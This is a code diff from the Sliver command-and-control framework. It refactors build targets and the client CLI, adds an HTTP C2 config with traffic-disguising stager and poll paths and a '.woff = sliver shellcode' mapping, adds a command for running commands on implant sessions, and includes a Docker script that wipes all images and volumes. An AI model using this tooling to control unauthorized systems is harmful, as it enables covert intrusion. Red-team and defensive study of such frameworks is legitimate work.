@@ -115,8 +115,8 @@ default: clean .downloaded_assets validate-go-version
|
||||
client: clean .downloaded_assets validate-go-version
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean .downloaded_assets validate-go-version
|
||||
.PHONY: macos-amd64
|
||||
macos-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
@@ -125,8 +125,8 @@ macos-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean .downloaded_assets validate-go-version
|
||||
.PHONY: linux-amd64
|
||||
linux-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
@@ -135,19 +135,31 @@ linux-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean .downloaded_assets validate-go-version
|
||||
.PHONY: windows-amd64
|
||||
windows-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: clients
|
||||
clients: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: servers
|
||||
servers:
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -184,7 +196,7 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client sliver-client_* sliver-server sliver-*.exe
|
||||
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
|
||||
@@ -28,40 +28,51 @@ NORM = "\033[0m"
|
||||
|
||||
|
||||
def exec_cmd(cmd, ignore_status=False):
|
||||
""" Executes a command with some sugar """
|
||||
"""Executes a command with some sugar"""
|
||||
print("\n" + INFO + " %s\n" % cmd)
|
||||
status = os.system(cmd)
|
||||
if status != 0 and not ignore_status:
|
||||
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
|
||||
if input("continue? [Y/n]: ").upper() != 'Y':
|
||||
if input("continue? [Y/n]: ").upper() != "Y":
|
||||
sys.exit(status)
|
||||
return status
|
||||
|
||||
|
||||
def docker_rm_volumes():
|
||||
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_containers():
|
||||
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_images():
|
||||
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_prune():
|
||||
exec_cmd("docker image prune -f", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_all():
|
||||
docker_rm_containers()
|
||||
docker_rm_images()
|
||||
docker_rm_volumes()
|
||||
|
||||
|
||||
def build():
|
||||
status = exec_cmd("docker build -t sliver .")
|
||||
if status == 0:
|
||||
print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
|
||||
print(INFO+"Remember you'll need to manually forward network ports")
|
||||
print(
|
||||
INFO
|
||||
+ "Build successful, start with %sdocker run -it sliver:latest%s"
|
||||
% (BOLD, NORM)
|
||||
)
|
||||
print(INFO + "Remember you'll need to manually forward network ports")
|
||||
|
||||
|
||||
def main(args):
|
||||
""" Execute the respective task(s) based on cli args """
|
||||
"""Execute the respective task(s) based on cli args"""
|
||||
if args.rm_images:
|
||||
docker_rm_images()
|
||||
if args.rm_containers:
|
||||
@@ -70,42 +81,59 @@ def main(args):
|
||||
docker_rm_volumes()
|
||||
if args.rm_all:
|
||||
docker_rm_all()
|
||||
|
||||
|
||||
if not args.no_prune:
|
||||
docker_prune()
|
||||
if not args.no_build:
|
||||
build()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(
|
||||
description='automates interactions with docker')
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="automates interactions with docker")
|
||||
|
||||
parser.add_argument('--no-build', '-b',
|
||||
help='do not run build',
|
||||
dest='no_build',
|
||||
action='store_true')
|
||||
parser.add_argument('--no-prune', '-np',
|
||||
help='do not prune images',
|
||||
dest='no_prune',
|
||||
action='store_true')
|
||||
parser.add_argument(
|
||||
"--no-build",
|
||||
"-b",
|
||||
help="do not run build",
|
||||
dest="no_build",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-prune",
|
||||
"-np",
|
||||
help="do not prune images",
|
||||
dest="no_prune",
|
||||
action="store_true",
|
||||
)
|
||||
|
||||
parser.add_argument('--rm-all', '-rma',
|
||||
help='rm all containers, images, and volumes',
|
||||
dest='rm_all',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-containers', '-rmc',
|
||||
help='rm all containers',
|
||||
dest='rm_containers',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-images', '-rmi',
|
||||
help='rm all images',
|
||||
dest='rm_images',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-volumes', '-rmv',
|
||||
help='rm dangling volumes only',
|
||||
dest='rm_volumes',
|
||||
action='store_true')
|
||||
parser.add_argument(
|
||||
"--rm-all",
|
||||
"-rma",
|
||||
help="rm all containers, images, and volumes",
|
||||
dest="rm_all",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-containers",
|
||||
"-rmc",
|
||||
help="rm all containers",
|
||||
dest="rm_containers",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-images",
|
||||
"-rmi",
|
||||
help="rm all images",
|
||||
dest="rm_images",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-volumes",
|
||||
"-rmv",
|
||||
help="rm dangling volumes only",
|
||||
dest="rm_volumes",
|
||||
action="store_true",
|
||||
)
|
||||
try:
|
||||
main(parser.parse_args())
|
||||
except KeyboardInterrupt:
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Methods []string
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
//
|
||||
// .js = poll
|
||||
//
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
@@ -50,7 +50,7 @@ func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
err = os.MkdirAll(dir, 0o700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
@@ -70,7 +70,7 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
confs := map[string]*ClientConfig{}
|
||||
for _, confFile := range configFiles {
|
||||
confFilePath := filepath.Join(configDir, confFile.Name())
|
||||
log.Printf("Parsing config %s", confFilePath)
|
||||
// log.Printf("Parsing config %s", confFilePath)
|
||||
|
||||
conf, err := ReadConfig(confFilePath)
|
||||
if err != nil {
|
||||
@@ -113,7 +113,7 @@ func SaveConfig(config *ClientConfig) error {
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := os.WriteFile(saveTo, configJSON, 0600)
|
||||
err := os.WriteFile(saveTo, configJSON, 0o600)
|
||||
if err != nil {
|
||||
log.Printf("Failed to write config to: %s (%v)", saveTo, err)
|
||||
return err
|
||||
|
||||
@@ -36,6 +36,7 @@ type ClientSettings struct {
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs"`
|
||||
}
|
||||
|
||||
@@ -76,6 +77,6 @@ func SaveSettings(settings *ClientSettings) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
|
||||
return err
|
||||
}
|
||||
+32
-44
@@ -24,27 +24,23 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var (
|
||||
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
)
|
||||
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
|
||||
// Initialize logging
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("[!] Error opening file: %s", err))
|
||||
}
|
||||
@@ -53,51 +49,43 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
rootCmd.TraverseChildren = true
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
// the same underlying command/run infrastructure.
|
||||
con := console.NewConsole(false)
|
||||
|
||||
// Import
|
||||
rootCmd.AddCommand(cmdImport)
|
||||
rootCmd.AddCommand(importCmd())
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(cmdVersion)
|
||||
|
||||
// Client console.
|
||||
// All commands and RPC connection are generated WITHIN the command RunE():
|
||||
// that means there should be no redundant command tree/RPC connections with
|
||||
// other command trees below, such as the implant one.
|
||||
rootCmd.AddCommand(consoleCmd(con))
|
||||
|
||||
// Implant.
|
||||
// The implant command allows users to run commands on slivers from their
|
||||
// system shell. It makes use of pre-runners for connecting to the server
|
||||
// and binding sliver commands. These same pre-runners are also used for
|
||||
// command completion/filtering purposes.
|
||||
rootCmd.AddCommand(implantCmd(con))
|
||||
|
||||
// No subcommand invoked means starting the console.
|
||||
rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
// Completions
|
||||
carapace.Gen(rootCmd)
|
||||
}
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "sliver-client",
|
||||
Short: "",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
os.Args = os.Args[:1] // Stops grumble from complaining
|
||||
err := StartClientConsole()
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
// StartClientConsole - Start the client console
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
|
||||
@@ -28,7 +28,6 @@ import (
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
|
||||
if len(configs) == 0 {
|
||||
@@ -53,7 +52,6 @@ func selectConfig() *assets.ClientConfig {
|
||||
}
|
||||
|
||||
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
|
||||
|
||||
keys := []string{}
|
||||
for k := range configs {
|
||||
keys = append(keys, k)
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners
|
||||
func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
|
||||
consoleCmd := &cobra.Command{
|
||||
Use: "console",
|
||||
Short: "Start the sliver client console",
|
||||
}
|
||||
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Don't clobber output when simply running an implant command from system shell.
|
||||
if run {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
}
|
||||
|
||||
var rpc rpcpb.SliverRPCClient
|
||||
var err error
|
||||
|
||||
rpc, ln, err = transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
|
||||
}
|
||||
|
||||
// Close the RPC connection once exiting
|
||||
post = func(_ *cobra.Command, _ []string) error {
|
||||
if ln != nil {
|
||||
return ln.Close()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return pre, post
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
|
||||
con.IsCLI = true
|
||||
|
||||
makeCommands := command.SliverCommands(con)
|
||||
cmd := makeCommands()
|
||||
cmd.Use = constants.ImplantMenu
|
||||
|
||||
// Flags
|
||||
implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Prerunners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
makeCompleters(cmd, con)
|
||||
|
||||
return cmd
|
||||
}
|
||||
|
||||
func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
startConsole, closeConsole := consoleRunnerCmd(con, false)
|
||||
|
||||
// The pre-run function connects to the server and sets up a "fake" console,
|
||||
// so we can have access to active sessions/beacons, and other stuff needed.
|
||||
pre = func(_ *cobra.Command, args []string) error {
|
||||
startConsole(implantCmd, args)
|
||||
|
||||
// Set the active target.
|
||||
target, _ := implantCmd.Flags().GetString("use")
|
||||
if target == "" {
|
||||
return errors.New("no target implant to run command on")
|
||||
}
|
||||
|
||||
session := con.GetSession(target)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return pre, closeConsole
|
||||
}
|
||||
|
||||
func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
comps := carapace.Gen(cmd)
|
||||
|
||||
comps.PreRun(func(cmd *cobra.Command, args []string) {
|
||||
cmd.PersistentPreRunE(cmd, args)
|
||||
})
|
||||
|
||||
// Bind completers to flags (wrap them to use the same pre-runners)
|
||||
command.FlagComps(cmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
cmd.PersistentPreRunE(cmd, c.Args)
|
||||
return use.SessionIDCompleter(con)
|
||||
})
|
||||
})
|
||||
}
|
||||
+28
-17
@@ -22,26 +22,37 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
)
|
||||
|
||||
var cmdImport = &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
func importCmd() *cobra.Command {
|
||||
cmdImport := &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
},
|
||||
},
|
||||
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
return []string{}, cobra.ShellCompDirectiveDefault
|
||||
},
|
||||
}
|
||||
|
||||
carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
|
||||
|
||||
return cmdImport
|
||||
}
|
||||
@@ -21,8 +21,9 @@ package cli
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var cmdVersion = &cobra.Command{
|
||||
|
||||
@@ -21,24 +21,28 @@ package alias
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
